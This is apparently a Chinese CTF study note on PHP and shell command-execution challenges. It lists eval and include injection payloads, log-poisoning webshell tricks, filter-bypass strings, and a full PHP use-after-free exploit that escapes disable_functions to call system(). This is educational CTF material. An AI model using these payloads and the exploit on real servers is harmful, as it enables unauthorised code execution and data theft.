命令执行总结
刚把CTFSHOW的命令执行部分给做完,但脑子里还是混沌一片,想来总结一下这部分,把知识点给凝聚一下,有一个清晰的脉络
首先一个要搞懂一个概念,命令执行是要执行的什么命令?
我认为大致分为两种:php命令和shell命令,一般只执行一种
php代码执行
首先提到一个函数 eval 通过其与$_GET[a] 配合 可以去执行命令
<?php
$a=$_GET['a'];
eval($a);
翻看php手册 可以看到 官方说明
把字符串 code 作为PHP代码执行。
也就是说他执行的是php的代码 那执行的自然也是php的命令了 继续向下翻 可以看到php执行的参数

最后传入的参数必须以;分号结尾 但是可以用?>给截断开来 即可以用?>结尾 这就产生了一个绕过(绕过;)
执行php代码的话 又分为两种思路
1.利用php自带的读文件的函数去读文件来getflag
利用php自带的一些函数去getflag
常见的读取文件的函数有
fopen('flag.php','rb+');echo fread($file,filesize('flag.php'));
echo file_get_contents('flag.php');
show_source('flag.php')
highlight_file('flag.php')
c=include($_GET[1]); 1=php:
c=rename('flag.php','1.txt'); 访问1.txt
c=include('flag.php');var_dump(get_defined_vars());
show_source(next(array_reverse(scandir(pos(localeconv())))));无数字rce
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
scandir() 列出 images 目录中的文件和目录。
readfile() 输出一个文件。
current() 返回数组中的当前单元, 默认取第一个值。
pos() current() 的别名。
next() 函数将内部指针指向数组中的下一个元素,并输出。
array_reverse()以相反的元素顺序返回数组。
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码。
过滤绕过
过滤空格 可用
%09 %0a去截断
2.php自身函数大部分被禁用 利用一些脚本来出flag
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
} e
xit(0);
?>
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
3.利用include来执行代码
有三种方式
<?php
$a=$_GET['a'];
eval($a);
第一种是eval类型的 可以传参?a=include$_GET[b]&b=*********
b后的参数可以为文件名称(如果文件后缀不是php的话) 或者可利用php伪协议去执行代码 这样做的好处是可以绕过一些函数的过滤
第二种直接是include类型 来执行代码
<?php
$a=$_GET['a'];
include $a;
与第一种差不多 区别是第一种可通过GET 或者POST来绕过大部分过滤 而第二种只能硬打 如果过滤了flag之类的关键字 可以用伪协议+base64绕过
.data:
第三种包含日志
1) apache+Linux日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
/var/log/nginx/access.log
这是常见日志目录 可以在UA处写入一句话木马 通过包含日志来getshell
小知识点:include一个文件后 如果文件内容有php标签 那就相当于把其中代码给执行了
include函数是不需要括号的 所以只能用include 或者 request去包含一个文件(变量 )
其常用格式为 include ‘’ request '’
顺便写下
shell代码执行
shell代码执行是用来执行Linux下系统命令
常见执行系统命令的函数
system();
echo `cmd`;
echo shell_exac('');
这是最基本的 比较恶心人的是他把各种关键字给过滤了
现在讲一下绕过
过滤空格
%09、${IFS}、$IFS$9、<>、<
过滤cat
tac tail nl less more
过滤flag
通配符 截断fla''g.php //这个也可以绕过 tac tail之类的
过滤了system()之类的函数
可以用异或 取反 按位运算来正 下面附一个脚本 来进行拼接
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
详见之前一篇文章
无参数rce
另外讲点比较底层的东西
有个比较重要的点 php在进行传入参数时候 并不是看表面的参数 比如说要传 %0c
php把[a-z]用正则表达式过滤了
这时候php要看的是url解码后的字符是不是[a-z] 而不是过滤%0c 还有呢 就是php比较浮于表面
也就是说 如果用异或来传参 php仅会检查你表面的字符有没有参数 而不会是异或之后的
还有p牛blog 已经讲的很详细了
|